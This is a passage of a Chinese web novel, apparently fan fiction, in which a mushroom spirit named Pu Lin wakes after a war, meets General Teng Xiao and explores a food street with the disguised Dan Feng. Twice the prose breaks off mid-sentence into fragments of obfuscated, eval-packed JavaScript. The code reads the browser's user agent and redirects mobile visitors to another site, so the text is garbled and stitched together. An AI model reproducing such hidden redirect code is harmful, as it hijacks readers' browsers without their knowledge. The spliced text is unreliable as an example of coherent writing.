他飞啊飞,飞到了天空的最顶端,飞到了黑暗的边缘,终于,天光大亮。 第一眼看见的是天花板。 蒲霖一脸茫然,眼神如雾气般朦胧,大脑似乎还在重启。 渐渐地,他回想起那个战争,想起自己突然的睡着...... 蘑菇慢吞吞地直起腰,试探地握了握自己的双手,体内的力量前所未有的充盈。雪白的菌丝出现在手心,比起之前,在阳光的照射下看起来更加流光溢彩。 心神一动,菌丝在透明与实色间变换,能伸长的距离又多了不少。 蒲霖心满意足地收回了菌丝,咂了咂嘴,他忍不住回忆起那些会吱哇叫的食物。 真好吃,单纯的蘑菇想,不知道丹枫知不知道...... 等等。 丹枫呢? 蒲霖表情骤变,他本以为自己只是单纯的困了,但现在看来好像不是这样。 自己突如其来的困倦恐怕就是因为一次性吸收了太多的能量,又被他全部反哺出去,如此一来一回,身体根本支撑不住。 需要时间来拓宽经脉,偏偏储存的能量又太过庞大,不能细水长流,只能停止机体运行全力吸取能量。 完了,可是丹枫不知道啊......不过他应该没有睡多久吧。 蘑菇抱着一丝侥幸,翻身下床,他啪嗒啪嗒地踩着软绵绵的拖鞋在室内转了一圈,没找到想找的人。 难道在外面? 蒲霖往门口走去。 鸟儿在屋外发出悦耳的鸣叫,它们扑棱着翅膀,在枝头飞起又落到屋檐,震下一片片红色的落叶。 恰逢屋檐下的铃铛被微风吹动,清脆的声音响起,把调皮的鸟儿吓地振翅而逃。 庭院里空旷的地面上可以看见一个人如飞燕游龙般矫健的身影,他手持长枪,在空气中挥舞着各种招式。 枪身在风中划出破空的飒飒声,最后收招,“砰!”的一声,锋利的枪尖猛地掷向地面,硬生生地嵌进坚固的砖石里。 那人却没有动弹,站在原地平复着呼吸,突然听到房门被打开的声音。 他顿了顿,若有所感地转头看去,一抹熟悉的身影正站在门口朝他挥手。 “早安,丹枫!” 16.第 16 章 “什么——” 少年震惊的声音惊动了屋外好不容易停歇下来的飞鸟,它们成群而起,震的树上的枫叶簌簌作响。 蒲霖抓着筷子大惊失色,“我居然睡了这么吗?!” 他一觉醒来,所有事情都尘埃落定,战争结束了,永久居住证明拿到了,什么都解决了,好像做梦一样。 丹枫结束了晨练,他坐在桌边看着蒲霖嚼嚼嚼,补充道:“你睡着的时候来了不少专程看望的客人,将军还说,等你醒来,身体恢复好后,他想见见你。” 他轻描淡写地抛下一个大雷。 蘑菇一开始还没反应过来,直到他听到后面的称呼,顿时一激灵。 “......将、将军!?咳,咳咳。” 蒲霖差点被食物噎住,还好手边及时送来了一杯水。 “咕嘟咕嘟——” 蒲霖灌了老大一口水,才勉强缓过神来。他六神无主地看向丹枫,“将军不是罗浮最厉害的人吗?他为什么要见我呀?我做了什么坏事吗?他看出来我不是人了吗?完了完了他是不是要来抓我......” “别多想,只是因为你在战场上大放光彩,超出了他的预料,是以想来见见这位帮助了罗浮的英雄是什么人。” 丹枫语气淡淡,伸手轻轻揉了揉少年乱翘的黑发。 “超出他的预料?”蘑菇敏锐地揪出关键,他歪头有些不解地问道。 自从下了战场,丹枫也在复盘蒲霖的事情。 “根据云骑军历来的战事牍库,这场战争的规模不算大,罗浮有极大的把握取胜,但你的介入还是催化了进程。” “我对你的评判有所误差,不知为何,你的菌丝对孽物有很强的针对性,数量越多,反而越能发挥它们最大的效果。你近不了我的身,但步离人包括盔甲武器在内都带有明显的活体特征,战事便出现了两级反转。将军听信了我的推断,加上暗地里的其他消息,他也误以为你只是走个过场的人。” 蒲霖:“......” 蘑菇的反应慢了半拍,但主打一个你字多你有理,一本正经地点了点头,“......原来是这样啊。” “......” 丹枫跟他相处了几百年,一眼就能看出这家伙没有完全听懂。 算了,饮月君无奈地和自己开解,这么多年下来,能把这只文盲菇养到现在的样子就很好了。 “记得不要暴露自己蘑菇精的身份,若是将军问起你的过去,就说坦诚地说实话,失忆没有太大的影响,只要不危害到罗浮。” “哦!” 紧接着丹枫又讲了几个注意事项,蒲霖一一点头,表示自己记住了。 他咕嘟咕嘟地喝完汤,“那我吃完饭就过去......” “不急,可以过个几天,毕竟你才刚刚醒来,调整一下也合情合理,将军不是会为难别人的性格。” 他的声音宛若清凉沉静的水流轻轻拂过,驱赶了心头的急躁,蒲霖有些绷紧的心弦渐渐平静下来,他回想起战争前夕看到的那个身影,好奇地开口比划道,“就是我们见到的那个很高很大的人吗?棕色头发的那个?” “不错,他叫腾骁,和他见面没什么严格的礼节,他不怎么喜欢繁文缛节,是位武将,蒲霖准备好的话记得告诉我一声。” “唔唔~”蘑菇嚼着嘴里的小甜品,略有些含糊地答应了。 “对了丹枫,”蒲霖咽下嘴里的食物,“其实我这次突然睡着是因为吸收的能量太多,然后身体受不了,需要时间来消化,以后就可以正常吃这些怪物啦,不会再这样无缘无故地晕倒啦!” “嗯,我知道。” 蘑菇又想起了什么,“在我睡着的时候,你是不是喊了我的名字?对不起丹枫,我让你担心了那么久......我一高兴就吃太多了,早知道会这样,就把话说清楚再睡了。” 到后面他的声音逐渐变低,显然懊恼不已。 身体机能的强制下线哪是那么好抵抗的,能支撑到战争结束就已然不易。 男人垂下眼睫,浓密的睫毛遮掩住了眼里的情绪,那里溺着一片深不见底的汪洋,“以后注意便是,你现在安然无恙才是最好。” 蘑菇:OvO 他歪着脑袋凑近对方,呆毛调皮地晃动了一下,“所以......原来那不是我的幻听呀。” 丹枫:“......” 少年眉眼弯弯,像八爪鱼似的猛地抱住某人,隔着雪白的衣领,他讨好地用软绵绵的脸颊蹭了蹭对方的侧脸,“我听见了你的声音,这样的事情只有这一次,我的身体已经适应好了,以后就不会再有这种情况啦!” 后脑蓬松的头发被轻轻碰了一下。 * 几天后。 蘑菇:“.......” 虽然那时蒲霖表现的非常淡定,但真到了面见将军的那天,他还是没出息的慌了。 正常流程去将军府要经过长乐天的码头,让传令兵请示才行。但碍于丹枫的身份,他免去了这些流程,直接带着蒲霖一路畅通无阻地到达了目的地。 来的路上,在他好奇地追问下,丹枫告诉了他关于腾骁的丰功伟绩:慧骃的执辔者【造父】被他当场抓获送往幽囚狱;大岁阳【燎原】也是惨败于腾骁手下,化作碎片封进造化洪炉中...... 这些碎片一点点地勾勒出一个伟岸的身影。 蘑菇不知道这些倒霉蛋是谁,但他们一听名字就很厉害,所以并不妨碍他脑补腾骁这个人。 “到了。” 丹枫停下脚步,转身看向身后的少年,一路上便服白色的衣角都快被蒲霖攥出火星了。 他的目光落在蒲霖蹙紧的眉心,安慰道,“莫怕,你面对数以万计的敌军都不曾畏惧,将军是仙舟人,难道会比那些孽物更可怕不成?” 蘑菇哭丧着脸,默默点头。 他还是更愿意去打孽物,至少那还能吃呢。 丹枫看出了他的想法,顿觉无奈,便伸手握住对方的手腕,拉着少年一起踏上了将军府的石台阶。 手腕间冰冷的温度让蒲霖瞬间安心了不少。 “我们一起进去。” 他说。 他们推开厚重的大门,室内安静的一根针掉下去都能听见,十几个披着银甲脸覆面具的侍卫握着长刀守卫在道路两侧,入室的人可以看到脚下有一条宽阔的红色地毯一路延伸到最里面,第一层大台阶两侧铺设了鹅卵石与小池塘,荷花与莲叶点缀其中。 踏上第二级台阶,周围的案牍库塞满了卷轴与书籍,上面的铭牌上记载着各列案牍库的分类标准,比如盟助公司、大敌名录等外人看不到的资料。狰狞的石质巨兽与香炉摆放左右。 到了第三级台阶,蒲霖震撼地睁大了眼睛。几十米高的屋顶,可以清晰的看见外面的星空银河,几面镌刻着长剑的巨大金边红旗从高空垂下,松树假山摆放在两侧,高大的圆柱撑起了这片宏伟的天花板。 踏上第四级台阶,就可以清晰的看见一个人背对着他们站着,巨大的金属狮子图腾悬挂在他面前的透明墙壁上,繁琐古老的金属纹路围绕着图腾,长方形的办公桌摆在中央,上面摆满了卷轴与书籍,宽阔的背椅正对着桌子。 将军办公的位置是专门凸起的一小块,四周有矮小的栏杆与台阶环绕,这样的设计反而凸显出了屋主的威严与权势。 蘑菇规规矩矩地不敢乱看,不知道怎么回事,他莫名有种大气不敢喘的感觉。 “将军,您要见的人到了。” 一旁的侍卫上前请示,打破了室内的宁静。 饮月君悄然松开了手。 身型魁梧的男子转过身来,他的肌肤偏深,棕色的长发扎在脑后,身上披着的银色铠甲把他整个人衬的更加健壮。肩膀上罩着一个狰狞的兽首,背后披着一个外玄内红的披风,腰带与腕部皆有硬质甲胄包裹,黑色的长靴踩在地砖上。 好、好高! 因为一直垂着头,看到的只有半截身子,蒲霖便顺着目光下意识仰头,看到了一张俊朗的面容。 男人剑眉星目,脸部线条硬朗,配上一点似乎是新长出来的胡茬,给人一种非常粗犷的感觉,乌黑偏金的眼里透出坚毅之色,压迫感拉满。 他早已等待多时了,沉甸甸的目光落在少年看起来有些呆滞的脸上。 半响,将军率先伸出手。 “久仰大名,蒲霖,我是罗浮仙舟的现任将军——腾骁,我代表罗浮欢迎你的到来。” 蒲霖赶忙伸出手握住对方的。 “您好,将军,我也很荣幸......?”蘑菇站在他的面前,有些磕磕碰碰的回应道,尾音不确定的上扬。 “身体好些了吗?你昏迷好些时日了,饮月君说你没什么大碍,后半月我托人前去看望,可惜你那时还没醒。” 蘑菇呐呐,“......好些了将军。” “之前那场战役将士们都铭记在心,罗浮亦是如此,为表达对英雄的感激,这是我代表所有将士们传达的一番心意。” 蒲霖下意识地伸手接过对方递过来的物品,他不知道这是什么,但还是乖巧回应道,“好的......将军。” ...... 两人就这样硬聊了半天,最后话题发起者实在带不动了。 男人沉默下来,用莫名的眼神盯着他,久久不言。 怎么了,他说错什么了吗?为什么突然不说话了?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755633|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蘑菇眨巴眨巴眼睛,也一脸茫然地回看过去。 二人面面相觑,陷入了诡异的沉默。 蒲霖头顶的呆毛缓缓弯起了一个黑色的问号。 “......” 半响,男人突然忍俊不禁,“噗......她说的方法还真有用啊。” 将军低声感叹,周身的压迫感尽数消散,他看着少年脸上更加懵逼的表情,嘴角的笑容也咧的更大了。 蘑菇听着对方的笑声,捧着他送的礼物呆在原地。 腾骁笑道,“果然跟饮月君说的完全一样嘛......啊——抱歉抱歉,吓到你了吗?” 他大大咧咧地挠了挠自己棕色的头发,本就凌乱的发丝被这么一搞更加惨不忍睹,男人无奈地摊了摊手,“我手下人老说我平时一点威严都没有,外人来的时候就让我按照她的方法来,看来效果不错啊哈哈哈......” 说着说着自己又乐了起来,那点塑造出来的威严气势顿时消失的无影无踪。 蒲霖:“......” 噼里啪啦。 似乎有什么东西碎掉了。 哦,原来是他心中将军伟岸的形象啊。 蘑菇目光“......”地朝一旁从进来就充当隐形人的丹枫看去,只见对方无奈地叹了口气。 “将军,别玩了。” “啊哈哈哈~饮月卿不要这么严肃嘛,今天和六御那些人谈了半天快累死我了,他们是听不懂人话还是怎么的,好不容易能喘口气......” “咳咳。” 男人轻咳一声紧急刹车,看向在场唯一不明情况的人。 “你多大了?这位......小朋友?”看着少年稚气未脱的外表,腾骁摸着下巴,有些拿捏不准对方的年龄。 都说眼睛是心灵的窗户,即使容颜不改,但岁月无情。 透过一个人的眼睛可以看出他灵魂的重量,甚至连性格、品行都能摸清一二。 可蒲霖不一样。 腾骁凝视着少年的眼睛,对方也毫不畏惧地与他对视。 他想。 像流动的黄金,更像某种未经世事的......动物。 是澄澈干净的,是仿佛能见到底的潭水,里面没有半点污垢与复杂,也没有时间带来的沉重与沧桑。 与稚童无异。 “唔......我的年龄要比丹枫小一些,但已经不小啦,应该快三百年了。” 蘑菇铭记丹枫曾经的劝告,他也不会撒谎,便看着男人的眼睛认真答道。 “哦——那确实不小了,”不知道几百岁的腾骁笑眯眯地看着比他矮好几个头的少年,“蒲霖,你去过罗浮的其他洞天吗?” “去过好几个!里面有好高的山,有很绿的草地,还有很多五颜六色的东西,空气也很新鲜,都是很好看的风景。” “这样啊......莫不是饮月君带你去玩的?” “嗯!” “说起这个,”男人一拍脑袋像是想起了什么,“当时你晕倒之后又久久不醒,可把某个人急的不轻,明明自己医术就了得,还把我们的丹鼎司医士请去,说是询问昏睡之人醒来有什么忌讳,躺在床上需要注意什么......简直详细到不能再详细了。” 某个人:“.......” 蘑菇微微一愣,下意识地朝丹枫望去。 腾骁也看了一眼一声不吭的某人,又转头笑道,“趁着时间还早,天气晴朗,你去的尽是些风景优美之地,不妨去金人巷逛逛?虽说不比蒲霖见过的美景,但那里有很多好吃的东西,最是热闹。而且今日无论你吃多少,将军府都可以给你报销哦。” 他知道眼前这个少年有一个很明显,很普遍的喜好。 果然,蒲霖的眼睛猛地亮了。 他毫不掩饰自己惊喜的眼神,将眼前人加了一层厚厚的滤镜,“真的吗?什么都可以吃?” “当然可以,你可是罗浮的大功臣,现在也是罗浮的一员,一点小小的要求怎么会满足不了?” 腾骁看着眼前单纯的少年,面不改色地试图继续诱拐,“如果下次蒲霖还能立下如此功劳,还可以吃到更多想吃的东西哦,当然,前者不用强求,顺其自然就好。” “嗯!” 蘑菇非常轻易地就答应了,少年周身的空气都轻快地跳动起来,仿佛只要腾骁说结束,就能马上窜到将军府外面去。 眼看蘑菇要被人用一颗糖骗走了,饮月君只好出声道,“将军——” “别担心嘛饮月君,我不会言而无信的,不过——我想有人似乎已经等不及了。”腾骁摆了摆手,他看到少年按捺不住自己的样子,有些好笑地终止了今天的谈话。 17.第 17 章 最后腾骁又提起了一个话题,他看着少年清澈的眼睛,微笑着发出邀请,“蒲霖,你有兴趣参加【慰灵奠仪】吗?” “慰、灵......奠仪?”蘑菇艰难地试图重复那些晦涩难懂的字眼。 “这本是狐人的葬礼,但长生种亦可参加。平日里,若有云骑逝去,我们有因果殿可以收纳他们生平,将他们归于寂灭。但在之前的那场战争中,有数不清的云骑殉职,或在此过程中堕入魔阴身,他们的生平无法被及时收纳,便逝去了。” 腾骁语气突然严肃下来,男人的表情难掩哀伤与沉重。 蘑菇并不明白这种仪式对于人类的意义,但他也收敛起自己面上的笑容,学着用同样沉重的态度面对这位罗浮的将军。 室内安静的可怕,只有男人浑厚的声音清晰地传开。 “这个仪式会在两天后由天舶司举行。它安慰的不仅仅是故去的仙舟人,还有那些战士们留下的血亲、挚友,所有的罗浮子民......仪式最后,我们会将逝者们的遗物放上星槎,航入辽阔无垠的宇宙,他们会与千万光年的恒星同辉。” “蒲霖,我想邀请你作为同样经历此战的见证人,参与这场宽慰无数魂灵的慰灵奠仪。” ...... 与将军的会面很快就结束了。 “好像在做梦一样......” 蘑菇跟将军告别,他站在将军府门口喃喃自语。 外面的天气果真如腾骁所说那般,万里无云,阳光明媚。 不过,为什么将军府的透明天花板上是星空? 蘑菇想不通,干脆不想了。 两人坐上了返程的星槎,蒲霖拉开舱门,来的时候满脑子都是紧张,完全没有注意到星槎的布置,上次倒是乘坐过,但他的目光都被窗外的景色吸引了。 驾驶室与客舱是完全隔开的,隔音也很好。 这种客舱似乎要特殊一点,里面餐桌什么的都有布置,座位之间隔的也很开,最多两个排在一起,因此也放不下几个座位。 蒲霖选了两个挨着的座位,先窜过去坐下,然后拍拍身边的那个空位示意他后面的人坐过来。 舱门缓缓合上,逐渐驶离码头,平稳地行驶在大片的云海之上。 蒲霖伸了个懒腰,他扒拉在身边的窗户上,看着舷窗外不断后撤的风景。 手里传来硬邦邦的触感。 差点忘了,他手里还有个东西来着。 “丹枫,将军给了我这个,你知道这是什么吗?”少年不看风景了,他转头就去找丹枫的身影,献宝似的把手里的东西递给对方。 丹枫接过他手里的东西,随意操作几下后,就知道这里面是什么了。 他把光屏举到少年面前,一边点击一边讲解给他听。 “你看,这里储存了一些电子证明,除了户籍之外......这里,可以看到现在你在长乐天拥有几栋房屋的支配权,正常享有医疗教育等权利,除此之外还有一些特殊的权利,是只有云骑军官这个职衔才能拥有的。” “......点这里,可以看到账户余额。” 蒲霖眨巴眨巴眼睛,一连串的零看的他眼花缭乱。 “哇...罗浮对自己人都这么好的嘛,我现在的钱是不是可以去买好多好吃的了?”蘑菇不明觉厉,他还是比较关注好吃的。 “可以,不过去之前,得先把这个带上。” 丹枫变戏法似的拿出了一个白色外壳的手机,外形就是一个长方体的小盒子,线条流畅漂亮。他把手机递到少年手上,似乎触碰到了什么按钮,亮起一个立体的投射屏幕。 这是其他文明的产物,他没有给蒲霖罗浮市面上流行的玉兆。 倒不是他不能给玉兆,主要是那玩意是连接到仙舟人神经的,能不能用另说,若是给了那只蘑菇的身份岂不是分分钟掉马。 本来早在蒲霖醒来的时候就应该给他的,但碰巧持明族的某些人不安分,在背后偷偷搞小动作,他一忙起来就不慎把这东西给忘了。 “这里是你的账户,一些基本认证已经注册好了,这个软件可以进行基础的网购,按这里可以和朋友聊天,现在你只有我一个好友,想要加的话点这里......” 看着丹枫的教学,蘑菇试探的点开这些界面,不知为何,明明丹枫像平时上课一样讲解了很多东西,但这次他只上手操作了一遍就基本会使用了。 “好厉害,人类的科技也太发达了,这么小的一个盒子,居然能放下这么多东西。” 没见过世面的蘑菇眼睛亮晶晶的,像拿到什么稀世珍宝似的捧着屏幕戳个不停。点进某个app又退出,点进某个功能又撤回,这么一来一回玩的不亦乐乎。 空荡荡的列表里,唯一联系人高高悬挂在最上面,丹枫的头像是一片黑色,昵称设置的也是他本人的名字,非常具有辨识度。 他试探地给丹枫发了一条消息,对方手腕上马上就响起了轻微的提示声。 蒲霖:(??ω??) 又点进自己的主页,除了基本的设置以外,头像昵称什么的都是初始的状态,蒲霖对着头像思索了片刻,决定等今天结束就设置一下。 放下手机,他转头看向丹枫,面露期待, “对了,丹枫,你今天跟我一起去玩吗?这是我第一次去金人巷,而且今天是将军请客哎~” 蒲霖快乐的像个准备去春游的小朋友似的,虽然是疑问句,但他满脸都写着“去嘛去嘛”。 这次难得有旁人请客,他感觉丹枫如果不去好可惜。 “......” 看着少年期盼的眼神,丹枫沉默了几秒,他对玩乐无意,但回想了一下今天的安排,文件公务都处理的差不多了,除了持明族内部的某些事。 不过最后他还是没有拒绝,“......可以,但需要稍作伪装,这副容貌太过夺目,若是被他人认出难免会有些麻烦。” 接下来蘑菇亲眼见证了一场魔法。 饮月君伸手轻轻覆盖到自己的脸上,隔着一小段空气的距离,他闭上眼睛,微弱的光芒在掌心绽放。不到一刻钟,他的外貌与装扮已经发生了细微的变化。 就像蒲霖上次变装一样,青色的流光自他的面部往下,像分界线一样,一点点地发生变化。 蘑菇睁大眼睛,好奇地凑近观察。 额头的龙角被抹去,连身上设计精美的白袍都换了一身干脆利落的上下装。 面部似乎进行了细节上的调整,张扬冷峻的眉眼被掩盖住锋芒,赤色眼尾与朱红流苏完全褪去。 明明整体没有什么大规模变化,但之前是相当惹眼的存在,现在却突然变得能融入人群了,普通人很难将他之前的模样与现在联系起来。 丹枫慢慢睁开眼睛,透亮威仪的青色眼眸变得灰暗,灰绿色的瞳孔静静地凝视着面前的少年,随着外形改变,他原来高高在上不可侵犯的气质也趋向于沉静与漠然。 蒲霖眨巴着偏圆的杏眼,猝不及防和丹枫看了个对眼。 他只好后仰脑袋,闭着眼又晃了晃脑袋缓解不适,下意识就将嘴里的想法秃噜出来了,“丹枫,我感觉你好像变的像个人了耶~” 丹枫:“......?” “不是,”蒲霖察觉到哪里不对,他试图补救,“我的意思是,现在看起来就和正常人一样了!” “嗯?和正常人一样?不对,怎么好像还是哪里怪怪的......” 丹枫默默凝视越说越离谱的蘑菇:“......” 虽然蘑菇这句话有骂人的嫌疑,但看少年直白的眼神,就知道他真正想表达的不是这个意思。 他还是开口挽救了手忙脚乱的少年,“......你想说,变得泯灭于众了?” 虽然以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759805|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑问词结尾,却是用的陈述语气。 “没错,就是那个意思。”少年一锤定音。 他又歪头盯了对方焕然一新的面貌好久,才有些不舍地收回了视线。 总觉得......是好熟悉的面容。蒲霖困惑了一瞬,但很快就想通了,嘛,毕竟是丹枫嘛,无论变成什么样都是他,所以他才会觉得眼熟呀。 丹枫提醒道,“既然已做了伪装,也不可唤我的真名。” “唔?那是要起个新名字吗,”蒲霖摸着还热乎的手机,一本正经地给他新名字出主意,“丹枫比我大,那我叫你哥哥怎么样?还是听起来严肃一点的兄长?丹丹?枫枫?丹哥?这样和耽搁好像,不好不好,要不还是......” 听着那些愈发离谱的名字,丹枫眉心一跳。 一股水流从身后猛地缠住少年的嘴巴,非常硬核地阻止了他的发言。 水流松松垮垮地围绕着他的下半张脸,几乎没有使力,照蒲霖现在突飞猛进的能力大可以直接挣脱。 但蒲霖只当是和小时候和他玩一样,也就随便挣扎一下,意思意思,“唔?唔唔唔...QAQ” “别说了,第一个就挺好。” 丹枫说完就撤走了水流,清凉的水体没有对蒲霖造成任何伤害,反而给他洗了个冷水脸。 “好唔~哥哥。” 蒲霖平时早就跟这些水流呆习惯了。 在他还是蘑菇的时候,小丹枫要忙着课业,偶尔无聊他就会和水流玩耍,有时当成个水滑梯,有时在里面游泳洗澡。因此他也没有半点不快,乖巧地改了自己的称呼。 “哥哥!哥哥?哥哥。哥哥~”蘑菇凑到龙尊大人的身边,嘴里念叨着新出炉的名字,尾音软软地上扬。他毫不掩饰心里的激动,像得到什么难得美味进行膜拜仪式的小狗似的,围着他快乐地转悠。 丹枫:“。” 难得见他这么兴奋,随他去吧。 * 星槎的速度很快,不等蒲霖再围绕他转上第二圈,穿过一大片无边的云层后,就来到了目标洞天——金人巷。 罗浮战后处理的非常高效,至少金人巷已经恢复了它往日的繁华。 星槎靠近码头,缓缓停下,推开船门,踏上石质地面后,热闹非凡的烟火气就卷席了少年全身。 数百年的时间里,由于极少踏足人类繁多的领域,小蘑菇看着眼前的景象震撼地睁大了眼。 哇...... 一栋栋宏伟的建筑矗立在街道旁,雕梁画栋,飞檐翘角,错落有致地排列成大大小小的区域。白墙黑瓦,像极了一卷徐徐展开的水墨画。 橙色的古典灯笼组成一串串悬挂在楼房之间,精巧的技巧鸟抓着大大小小的货物在街道上空飞行,随处可见的枫树点缀在建筑间,落叶染红了街道的一角。 各级高度不一的台阶组成了这里的道路,路边各色的小吃摊门口摆放着许多古典桌椅,有的还带有一把遮阳伞,土黄色的快递箱大大咧咧地堆放在路旁。有人围绕着方桌打麻将,有人一边品茶一边欣赏说书人的投影,有的站在一起谈天说地。 这里的夜市是长乐天的招牌小吃街,传统菜肴到路边小吃,应有尽有,蒲霖甚至已经闻到了热乎乎甜滋滋的香气。 另一端是乾坤街,里面藏着各式各样的老字号商铺,贩卖商品、提供服务、或许还藏着真假难辨的秘密。金人巷码头由金人巷商会经营,进行着商品集散,物流运输。 除了来来往往的客运星槎,人们也可以到码头边专门的区域坐下小憩,在这里可以看到无边的云海与星河,欣赏来来往往如游鱼般灵活的星槎,以及对面宏伟壮丽的建筑。 这是那些自然风景无法带给他的感觉。 火红的枫叶簌簌落下,温柔地擦过少年耳畔,蒲霖似有所感地抬手,那枚叶片精准地落于手心,像是一张抵达浮世的通行证。 18.第 18 章 今天的金人巷迎来了两位新的客人。 少年穿着灰黑相间的衣袍,透明的宽大外套随风扬起,上面水墨色的丹顶鹤仿佛也要迎风飞起,黑色的靴子踏上台阶发出清脆的声音。 他像只叽叽喳喳的小麻雀一样,看到什么新奇的事物就要凑上去看看,再拉住身后的人小声议论什么,那人气质清冷,但也很耐心地听着少年讲话,时不时颔首给予回应。 “老板!”蒲霖闻着飘散的香气一路摸到了一个其貌不扬的小摊上,“请问这个是什么呀?” “哎呀,客人真有眼光,这是鸣藕糕哦,酥脆的很呢,客人要不要尝尝?也许会有惊喜哦。”狐人老板笑眯眯地介绍道。 “好呀——那来一份尝尝!” “好嘞!” 老板也不含糊,夹了两片裹满面糊的厚藕片放下了油锅,刹那间滋滋作响,油锅犹如沸腾的热水一般翻滚,香气渐渐地飘了出来。 蒲霖有点生疏地先付了款,很快,炸的金黄酥脆的藕糕就被盛了出来。 打包盒里还特意垫了解腻的生菜,藕片原本的6个孔洞都被金黄的面糊和内部的馅料遮掩住,厚厚的两个看起来十分美味。 “有点烫,您小心些,客人您咬下去的时候要小心哦。”老板状若无意地又提醒了这位远道而来的客人一遍。 蒲霖记住了她的话,放到嘴边小心地吹了几口气:“呼——呼——” 用嘴唇轻轻试了试温度,确定不会烫到后才放心地准备下嘴。 “妈妈!我想吃鸣藕糕,给我买嘛。” “鸣藕糕不健康,还是算了吧,妈妈带你去吃其他好吃的。” “不嘛不嘛~” 一对母女的交流飘进了蒲霖的耳畔,她们并没有在身边停滞太久,母亲便牵着年纪尚小的女孩去了其他地方。 但少年的嘴巴还半张着,距离香喷喷的鸣藕糕不足一厘米,就那样硬生生的僵住了。 不......不健康? 蒲霖:QAQ 蒲霖早就不是最开始的小文盲,自然也能听懂健康这个词的意思。但他还不能理解一些家长把某些词习惯性挂在嘴边,所想要表达的真正意义。 美食在嘴边却偏偏够不着,他咽了咽口水,转头眼巴巴地看向丹枫,小声嘟囔。 “这么香的东西......不健康吗?怎么会不健康?” 少年满眼都是“求认同”,看起来很希望丹枫说一句健康,然后他好安心下嘴。 面对那双欲哭无泪的眼睛,丹枫轻微颔首,“嗯,确实很香。” “若事事论健康,世间便没有全然无害之物。那孩子年纪尚小,做母亲的关爱孩子安康是人之常情。但你不一样,在我看来,此刻的欢愉才是最重要的。” 见蒲霖仍眨巴着眼睛看他,他的唇角牵动,露出一抹极淡却真实的笑意。 “所以,趁热吃吧,凉了口味就大打折扣了。” 老板也在一旁出声附和,他的声音也带着一股子热闹的氛围,“是啊客人,你哥说的在理,咱们的鸣藕糕用的都是新鲜的油,真材实料。再说了,人活着不就是为了一口吃的,最重要的就是开心,只要不当饭吃,那啥都不会有影响啊。” 两人都毫不犹豫地站在了他这边,蒲霖放下心来,一口咬了下去。 “哈哈——” “什么东西?!”蒲霖吓了一跳,还没品味一下嘴里的味道,就像炸毛的猫似的猛地窜起,直接蹦到丹枫后面去了,警惕地只冒出一个毛茸茸的脑袋四处搜寻。 “噗——咳咳,客人误会了。” 老板很不给面子地笑出了声。 被他充当盾牌的丹枫先一步给出了解释,他淡声道,“这就是鸣藕糕的名字由来,如果咬它就会发出清脆的笑声,不少游客都被它吓到过。” 狐人笑眯眯称赞道,“这位客人真是见闻广博啊,虽然鸣藕糕的笑声有些吓人,但是口感很好哦,客人不妨再咬一口试试?” 似乎是动静太大,周围人相继投来视线,发现是一位被鸣藕糕吓到的俊俏少年后,目光顿时了然,转为了友善与好笑。 蒲霖弱弱地从丹枫身后蹭了出来,白皙的脸庞染上了红晕,他顶着微红的耳尖,又轻轻咬了一口,这次做足了准备,没有再像刚才一样蹦起来。 第一口尝到焦香酥脆的外壳,吸足了油脂与馅料的鲜香,再往里就是柔软咸香的馅料,调味得当的肉馅,似乎加了碎碎的葱花中和肉馅的油腻,咬一口汁水四溢,外脆里嫩。 “唔——好次!(≧v≦)” 虽然外面吹凉了,但是内部属于密封状态,是最能吸热藏温度的。蒲霖斯哈斯哈地试图通过流动的空气给嘴里的肉降温,继续语言走调地表达自己的惊艳。 “哥哥,你要不要来一口?真的很好吃!” 少年觉得这个味道很美味,于是他第一时间就想让身边人也尝到,用签子戳起另一块他完全没尝过的,举到了男人嘴边,眼睛笑的像个弯弯月牙。 “......” 丹枫默默垂眸,灰绿色的眸子宛若一口深潭,他的视线瞥过眼前的鸣藕糕,想说不用了,但看见少年期盼的眼神,还是准备伸手接过。 却被少年在空中轻巧地划了一圈避开了。 他:“......?” 饮月君的目光出现了少有的困惑,搭配他冷峻的神情有种莫名的喜感,蒲霖没忍住,噗嗤一声笑了出来。 “辛苦你照顾我啦,今天享受一下不用动手的待遇怎么样?”蒲霖笑的像个偷腥的猫儿,圆溜溜的眼睛里满是期待。 丹枫微怔,看着签子上摇摇欲坠的炸物,浅色的嘴唇微张,还是妥协地偏头就着他的签子咬了一口。 “小心烫哦......怎么样,好吃吧?” 清脆的口感在嘴里炸开,丹枫看着少年鎏金色的眸子,灰绿色的眼睛微闪。他脸上没什么表情地咀嚼着嘴里的鸣藕糕,三除五下就把一整块吃完了。 末了,他轻轻颔首。 “嘿嘿,就知道你也喜欢......嗯?这是什么?” 蒲霖又被不远处的新奇事物吸引了注意,他快速把剩下的一块鸣藕糕吞下,一次性食盒扔进垃圾桶后又循着香气飘了过去,眼睛亮得像金人巷夜空腾飞的小灯笼。 “貘、馍、卷...好怪的名字,不过看起来好好吃的样子。老板!来一份!” 粉色的蛋糕胚整体湿润,雪白的奶油抹在内侧,像树桩横截面一样被卷了起来,外侧还布满了深粉色的斑纹,小小的一块用白色的油纸包着,看起来尤为可爱。 到手后蒲霖就迫不及待的撕开外侧的包装纸,他小口咬了一口,蛋糕体松软,夹着甜滋滋的细腻奶油,外层斑纹薄薄的一层带有韧劲,蒲霖咬了一口就停不下嘴了。 一整块不好分,蒲霖又买了一块,试图按照刚刚的方式投喂。 